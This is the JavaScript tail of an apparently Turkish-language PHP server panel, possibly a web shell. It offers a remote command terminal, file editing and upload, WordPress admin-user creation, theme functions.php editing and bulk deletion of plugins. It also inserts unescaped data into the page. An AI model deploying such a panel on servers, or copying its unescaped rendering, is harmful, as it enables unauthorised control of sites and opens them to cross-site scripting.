<button class="btn" style="background: #999; flex: 1;" onclick="document.getElementById('theme-modal').classList.remove('s')">❌ Kapat</button>
</div>
</div>
</div>
<script>
let tab = 'files';
let path = '/';
let editPath = null;
let createType = null;
let dbConnected = false;
function toggleTheme() {
document.documentElement.classList.toggle('dark');
localStorage.theme = document.documentElement.classList.contains('dark') ? 'dark' : 'light';
}
function showTab() {
document.getElementById('files-content').style.display = tab === 'files' ? 'flex' : 'none';
document.getElementById('sql-content').style.display = tab === 'sql' ? 'block' : 'none';
document.getElementById('term-content').style.display = tab === 'term' ? 'flex' : 'none';
document.getElementById('security-content').style.display = tab === 'security' ? 'flex' : 'none';
document.getElementById('tools-content').style.display = tab === 'tools' ? 'flex' : 'none';
document.getElementById('files-btns').style.display = tab === 'files' ? 'block' : 'none';
document.getElementById('sql-btns').style.display = tab === 'sql' ? 'block' : 'none';
document.getElementById('security-btns').style.display = tab === 'security' ? 'block' : 'none';
if (tab === 'files') load();
if (tab === 'term') document.getElementById('term-in').focus();
if (tab === 'tools') document.getElementById('current-path').textContent = path;
if (tab === 'sql') {
document.getElementById('sql-cfg').style.display = 'none';
document.getElementById('sql-main').style.display = 'block';
dbConnected = true;
loadTables();
}
}
function api(action, data) {
const fd = new FormData();
fd.append('action', action);
for (const [k, v] of Object.entries(data || {})) fd.append(k, v);
return fetch('', { method: 'POST', body: fd }).then(r => r.json());
}
function home() { path = '/'; load(); }
function up() { if (path !== '/') { path = path.split('/').slice(0, -1).join('/') || '/'; load(); } }
function load() { document.getElementById('path').textContent = 'Path: ' + path; api('list', { path }).then(d => renderFiles(d.items || [])); }
function renderFiles(items) {
let html = items.length ? items.map(f => `<div class="item" ${f.is_dir ? `onclick="path='${f.path}';load()"` : ''}><div class="icon">${f.is_dir ? '📁' : '📄'}</div><div class="info"><div class="nm">${f.name}</div><div class="meta">${f.size} • ${f.time}</div></div><div class="act">${f.is_dir ? '' : `<button class="abtn" onclick="editFile('${f.path}')">✏️</button>`}<button class="abtn adel" onclick="deleteFile('${f.path}')">🗑️</button></div></div>`).join('') : '<div style="text-align:center;padding:40px;color:#999;">📭 Empty</div>';
document.getElementById('lst').innerHTML = html;
}
function editFile(p) { api('read', { path: p }).then(d => { editPath = p; document.getElementById('edit-title').textContent = 'Edit: ' + d.name; document.getElementById('edit-content').value = d.content || ''; document.getElementById('edit').classList.add('s'); }); }
function saveEdit() { api('save', { path: editPath, content: document.getElementById('edit-content').value }).then(d => { if (d.ok) { closeEdit(); load(); } }); }
function closeEdit() { document.getElementById('edit').classList.remove('s'); }
function deleteFile(p) { if (confirm('Delete?')) api('delete', { path: p }).then(d => { if (d.ok) load(); }); }
function newFile() { createType = 'file'; document.getElementById('create-title').textContent = '📄 New File'; document.getElementById('create-name').value = ''; document.getElementById('create').classList.add('s'); }
function newFolder() { createType = 'folder'; document.getElementById('create-title').textContent = '📁 New Folder'; document.getElementById('create-name').value = ''; document.getElementById('create').classList.add('s'); }
function doCreate() { const n = document.getElementById('create-name').value.trim(); if (n) api('create', { path, name: n, type: createType }).then(d => { if (d.ok) { closeCreate(); load(); } }); }
function closeCreate() { document.getElementById('create').classList.remove('s'); }
function uploadMultiple(e) {
const files = e.dataTransfer?.files || e.target?.files;
if (!files?.length) return;
let up = 0;
const tot = files.length;
// Upload başarı mesajı göster
const uploadMsg = document.createElement('div');
uploadMsg.style.cssText = 'position: fixed; top: 20px; right: 20px; background: #27ae60; color: white; padding: 15px 20px; border-radius: 5px; z-index: 999; font-size: 14px;';
uploadMsg.textContent = '⏳ ' + tot + ' dosya yükleniyor...';
document.body.appendChild(uploadMsg);
for (let f of files) {
const fd = new FormData();
fd.append('action', 'upload');
fd.append('path', path);
fd.append('file', f);
fetch('', { method: 'POST', body: fd })
.then(r => r.json())
.then(d => {
if (d.ok) {
console.log('✅ Uploaded:', f.name);
} else {
console.log('❌ Failed:', f.name, d.error);
}
up++;
// Son dosya yüklenince mesajı güncelleştir
if (up === tot) {
uploadMsg.style.background = '#27ae60';
uploadMsg.innerHTML = '✅ Tüm dosyalar başarıyla yüklendi (' + tot + ')';
setTimeout(() => uploadMsg.remove(), 3000);
load();
} else {
uploadMsg.textContent = '⏳ ' + (tot - up) + ' dosya kaldı...';
}
})
.catch(err => {
console.error('Upload error:', err);
up++;
if (up === tot) {
uploadMsg.style.background = '#e74c3c';
uploadMsg.textContent = '❌ Bazı dosyalar yüklenemedi';
setTimeout(() => uploadMsg.remove(), 3000);
load();
}
});
}
}
function drop(e) { e.preventDefault(); uploadMultiple({ dataTransfer: e.dataTransfer }); }
function testDBConnection() { const h = document.getElementById('db-host').value; const u = document.getElementById('db-user').value; const p = document.getElementById('db-pass').value; const n = document.getElementById('db-name').value; api('sql_test', { host: h, user: u, pass: p, name: n }).then(d => { if (d.ok) { dbConnected = true; document.getElementById('sql-cfg').style.display = 'none'; document.getElementById('sql-main').style.display = 'block'; loadTables(); } }); }
function loadTables() { api('sql_tables', {}).then(d => { let html = ''; (d.tables || []).forEach(t => html += `<div style="padding:12px;border-bottom:1px solid var(--border);cursor:pointer" onclick="loadData('${t}')">${t}</div>`); document.getElementById('tbl-list').innerHTML = html; }); }
function loadData(t) { api('sql_data', { table: t }).then(d => { let html = `<h2>${t}</h2>`; if (d.columns) { html += '<table class="tbl"><tr>'; d.columns.forEach(c => html += `<th>${c}</th>`); html += '<th>Action</th></tr>'; (d.rows || []).forEach(r => { html += '<tr>'; d.columns.forEach(c => html += `<td>${r[c] || ''}</td>`); html += `<td><button class="abtn" onclick="editSql('${t}','${d.pk}','${r[d.pk]}')">✏️</button></td></tr>`; }); html += '</table>'; } document.getElementById('sql-main').innerHTML = html; }); }
function newSqlRow() { if (!dbConnected) { alert('Connect DB first'); return; } }
function createWPUser() { document.getElementById('wp-user').classList.add('s'); }
function createWPUserSubmit() { const u = document.getElementById('wp-user-name').value; const e = document.getElementById('wp-user-email').value; const p = document.getElementById('wp-user-pass').value; if (u && e && p) api('wp_user', { username: u, email: e, password: p }).then(d => { if (d.ok) { alert('✅ WP User Created!'); document.getElementById('wp-user').classList.remove('s'); loadData('wp_users'); } }); }
function execCmd() { const c = document.getElementById('term-in').value.trim(); if (!c) return; const out = document.getElementById('term-out'); out.innerHTML += `<div style="margin-top:10px"><span style="color:#0ff">$</span> ${c}</div>`; api('terminal', { cmd: c }).then(d => { if (d.output) out.innerHTML += `<div style="margin-top:5px;white-space:pre-wrap">${d.output}</div>`; out.scrollTop = out.scrollHeight; document.getElementById('term-in').value = ''; }); }
let isProtected = false;
function toggleProtect() {
const action = isProtected ? 'unprotect' : 'protect';
api('protect', { action_type: action }).then(d => {
if (d.ok || d.messages) {
isProtected = d.protected;
showProtectStatus(d.messages, d.protected);
updateProtectButton();
}
});
}
function showProtectStatus(messages, protected_state) {
const statusDiv = document.getElementById('protect-status');
statusDiv.innerHTML = messages.map(msg => `<div>${msg}</div>`).join('');
statusDiv.style.display = 'block';
// 5 saniye sonra gizle
setTimeout(() => {
statusDiv.style.display = 'none';
}, 5000);
}
function updateProtectButton() {
const btn = document.getElementById('protect-btn');
if (isProtected) {
btn.textContent = '🔓 Korumasını Kaldır';
btn.style.background = '#e74c3c';
} else {
btn.textContent = '🔒 Koruya Aç';
btn.style.background = '#f39c12';
}
}
let themeData = null;
function openThemeFunctions() {
api('get_theme_functions', {}).then(d => {
if (d.ok) {
themeData = d;
document.getElementById('theme-title').textContent = '📝 ' + d.theme + ' - functions.php';
document.getElementById('theme-info').textContent = 'Tema: ' + d.theme + ' | Dosya: ' + d.path;
document.getElementById('theme-content').value = d.content;
document.getElementById('theme-modal').classList.add('s');
} else {
alert('❌ ' + (d.error || 'Tema bulunamadı'));
}
});
}
function saveThemeFunctions() {
const content = document.getElementById('theme-content').value;
if (!themeData) return;
api('save_theme_functions', {
content: content,
theme_path: themeData.path
}).then(d => {
if (d.ok) {
alert('✅ ' + d.message);
document.getElementById('theme-modal').classList.remove('s');
} else {
alert('❌ ' + (d.error || 'Kaydetme başarısız'));
}
});
}
// Security Functions
function scanMalware() {
const resultsDiv = document.getElementById('security-results');
resultsDiv.innerHTML = '⏳ Tarama yapılıyor...';
resultsDiv.style.display = 'block';
api('scan_malware', {}).then(d => {
let html = '<h3>📊 Tarama Sonuçları (' + d.scan_date + ')</h3>';
html += '<p style="font-size: 11px; color: #999;">';
let malwareList = [];
if (d.malware_files.length > 0) {
html += '<strong style="color: #e74c3c;">🚨 Zararlı Dosyalar (' + d.malware_files.length + '):</strong><br>';
d.malware_files.forEach(f => {
html += '❌ ' + f.file + ' - ' + f.type + '<br>';
malwareList.push(f.file);
});
html += '<br>';
}
if (d.suspicious_files.length > 0) {
html += '<strong style="color: #f39c12;">⚠️ Şüpheli Dosyalar (' + d.suspicious_files.length + '):</strong><br>';
d.suspicious_files.forEach(f => {
html += '⚠️ ' + f.file + '<br> Signature: ' + f.signature + '<br>';
malwareList.push(f.file);
});
}
if (malwareList.length > 0) {
html += '<br><button class="btn" style="background: #e74c3c; width: 100%;" onclick="cleanMalware(' + JSON.stringify(malwareList).replace(/"/g, '"') + ')">🗑️ Zararlı Dosyaları Sil</button>';
} else {
html += '<strong style="color: #27ae60;">✅ Temiz! Herhangi bir tehdit bulunamadı.</strong>';
}
html += '</p>';
resultsDiv.innerHTML = html;
});
}
function cleanMalware(files) {
if (!confirm('⚠️ ' + files.length + ' zararlı dosya silinecek!\n\nDevam et mi?')) return;
const resultsDiv = document.getElementById('security-results');
resultsDiv.innerHTML = '⏳ Zararlı dosyalar siliniyor...';
api('clean_malware', { files: files }).then(d => {
if (d.ok) {
let html = '<h3>✅ Temizlik Tamamlandı</h3>';
html += '<p style="font-size: 11px; color: #999;">';
html += '<strong style="color: #27ae60;">Silinen Dosyalar: ' + d.deleted_count + '</strong><br><br>';
if (d.deleted.length > 0) {
d.deleted.forEach(item => {
html += '🗑️ ' + item + '<br>';
});
}
if (d.errors.length > 0) {
html += '<br><strong style="color: #e74c3c;">Silinemeyen Dosyalar:</strong><br>';
d.errors.forEach(item => {
html += '❌ ' + item + '<br>';
});
}
html += '</p>';
resultsDiv.innerHTML = html;
}
});
}
function cleanWordPress() {
if (!confirm('⚠️ UYARI!\n\nBütün plugin\'ler ve diğer temalar silinecek.\n(Aktif tema korunacak)\n\nDevam et mi?')) return;
const resultsDiv = document.getElementById('security-results');
resultsDiv.innerHTML = '⏳ Temizlik yapılıyor...';
resultsDiv.style.display = 'block';
api('clean_wordpress', { dry_run: false }).then(d => {
if (d.ok) {
let html = '<h3>✅ WordPress Temizleme Tamamlandı</h3>';
html += '<p style="font-size: 11px; color: #999;">';
html += '<strong>Aktif Tema:</strong> ' + d.active_theme + '<br>';
html += '<strong>Silinen Dosya/Klasör:</strong> ' + d.deleted_count + '<br><br>';
if (d.deleted.length > 0) {
html += '<strong>Silinen Öğeler:</strong><br>';
d.deleted.forEach(item => {
html += '🗑️ ' + item + '<br>';
});
}
html += '</p>';
resultsDiv.innerHTML = html;
} else {
resultsDiv.innerHTML = '❌ Hata: ' + (d.error || 'Bilinmeyen hata');
}
});
}
function cleanDatabase() {
if (!confirm('⚠️ UYARI!\n\nVeritabanındaki eski ayarlar silinecek.\n\nDevam et mi?')) return;
const resultsDiv = document.getElementById('security-results');
resultsDiv.innerHTML = '⏳ Database temizleme yapılıyor...';
resultsDiv.style.display = 'block';
api('clean_database', { dry_run: false }).then(d => {
if (d.ok) {
let html = '<h3>✅ Database Temizleme Tamamlandı</h3>';
html += '<p style="font-size: 11px; color: #999;">';
html += '<strong>Temizlenen Kategoriler:</strong><br>';
d.cleaned.forEach(item => {
html += '✅ ' + item + '<br>';
});
html += '<br><strong>Silinen Satır:</strong> ' + d.deleted_rows;
html += '</p>';
resultsDiv.innerHTML = html;
} else {
resultsDiv.innerHTML = '❌ Hata: ' + (d.error || 'Bilinmeyen hata');
}
});
}
// Tools Functions
function createZip() {
if (path === '/') {
alert('⚠️ Root dizini ZIP yapılamaz. Başka bir klasör seçiniz.');
return;
}
if (!confirm('📦 "' + path.split('/').pop() + '" klasörünü ZIP olarak sıkıştır?')) return;
const resultsDiv = document.getElementById('zip-results');
resultsDiv.innerHTML = '⏳ ZIP oluşturuluyor...';
resultsDiv.style.display = 'block';
api('create_zip', { path: path }).then(d => {
if (d.ok) {
let html = '✅ ZIP Başarıyla Oluşturuldu<br>';
html += '📦 Dosya: <strong>' + d.zip_file + '</strong><br>';
html += '📊 Boyut: <strong>' + d.size + '</strong><br><br>';
html += '💾 <a href="javascript:downloadFile(\'' + d.zip_path + '\')" style="color: #3498db;">İndir</a>';
resultsDiv.innerHTML = html;
load(); // Dosya listesini yenile
} else {
resultsDiv.innerHTML = '❌ Hata: ' + (d.error || 'Bilinmeyen hata');
}
});
}
function showExtractZip() {
const zipFile = prompt('📂 ZIP dosyasının adını giriniz:\n(Örn: dosya.zip)');
if (!zipFile) return;
const resultsDiv = document.getElementById('zip-results');
resultsDiv.innerHTML = '⏳ ZIP çıkartılıyor...';
resultsDiv.style.display = 'block';
api('extract_zip', {
zip_path: '/' + zipFile,
extract_to: path
}).then(d => {
if (d.ok) {
let html = '✅ ZIP Başarıyla Çıkartıldı<br>';
html += '📂 Hedef: <strong>' + d.extract_to + '</strong><br>';
html += '📦 Dosya Sayısı: <strong>' + d.files + '</strong>';
resultsDiv.innerHTML = html;
load(); // Dosya listesini yenile
} else {
resultsDiv.innerHTML = '❌ Hata: ' + (d.error || 'Bilinmeyen hata');
}
});
}
function getErrorLog() {
const resultsDiv = document.getElementById('log-results');
resultsDiv.innerHTML = '⏳ Error log yükleniyor...';
resultsDiv.style.display = 'block';
api('get_error_log', { lines: 100 }).then(d => {
if (d.ok) {
let html = '📊 Error Log: ' + d.file + '<br>';
html += '❌ Hata Sayısı: ' + d.error_count + ' | ⚠️ Uyarı: ' + d.warning_count + ' | 📝 Toplam Satır: ' + d.total_lines + '<br><br>';
html += '─'.repeat(100) + '<br>';
if (d.lines.length === 0) {
html += 'Hiç log bulunamadı.';
} else {
d.lines.forEach(line => {
if (line.trim()) {
html += line + '<br>';
}
});
}
resultsDiv.innerHTML = html;
} else {
resultsDiv.innerHTML = '❌ Hata: ' + (d.error || 'Bilinmeyen hata');
}
});
}
function downloadFile(path) {
window.location.href = '?download=' + encodeURIComponent(path);
}
if (localStorage.theme === 'dark') document.documentElement.classList.add('dark');
showTab();
</script>
</body>
</html>